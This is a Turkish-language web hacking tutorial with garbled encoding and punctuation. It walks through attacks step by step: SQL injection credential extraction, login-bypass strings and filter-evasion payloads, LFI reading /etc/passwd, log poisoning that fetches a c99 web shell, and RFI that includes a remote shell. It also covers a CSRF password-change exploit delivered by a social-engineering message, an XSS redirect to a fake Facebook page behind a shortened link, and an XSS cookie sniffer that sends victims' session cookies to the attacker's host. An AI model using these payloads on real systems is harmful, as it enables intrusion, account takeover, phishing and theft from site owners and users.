Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Kayıt Formları XSS Accedilığı iccedilin olanak sağlıyorKayıt Formları genellikle Forum sitelerdemevcutturForum siteleri ccediloğunluk olarak hazır sistem kullanırlar(MyBB Vb SMF vs vs)
Eğer bir forumda hazır sistem kuruluysa veya suumlruumlm olarak belirli bir suumlruumlmuuml varsa ki genelde olurExploit sitelerinden O sistemin suumlruumlmuumlnuuml araştırabilir XSS Accedilıkları mevcutsa Exploit yardımıyla accedilığısoumlmuumlrebilirsinizBiz sistem kullanılmayan bir forum sitesinden devam edelim ) Uumlstte goumlruumllduumlğuuml gibi birkayıt formu mevcutBuradaki kutucuklara tıpkı ziyaretccedili formlarındaki gibi XSS Alert kodlarımızı entegre
ediyoruzEğer accedilık mevcutsa alert alınır
e-) Yorum Formlarında
Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım
Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti
Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz
Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği
esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma
oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))
6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)
Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=
XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde
bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı
a-) HTML Bypass Code
Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım
Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım
wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt
Bu sefer ekrana alert yansıdığını goumlreceksiniz
b-) Bypass JavaScript Code
Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım
wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim
Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız
c-)Normal Bypass
Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız
Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına
7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -
Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site
hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir
kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz
Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde
Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin
Yazacağımız kod şu şekildedir
wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt
Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık
olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=
wwwfakefacebooksayfamcom ltscriptgt
adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır
Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır
8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)
Sniffer Nedir
Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle
değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini
ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır
İşleme başlamadan Sniffer dosyalarını vereyim sizlere
Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn
Hemen kuruluma geccediliyoruz
Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz
httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)
httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz
Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım
httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs
SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz
httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz
Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu
adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir
Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır
Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek
karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml
linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri
httpbenimsitemcomSnifferlogphp adresine gelecektir
9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)
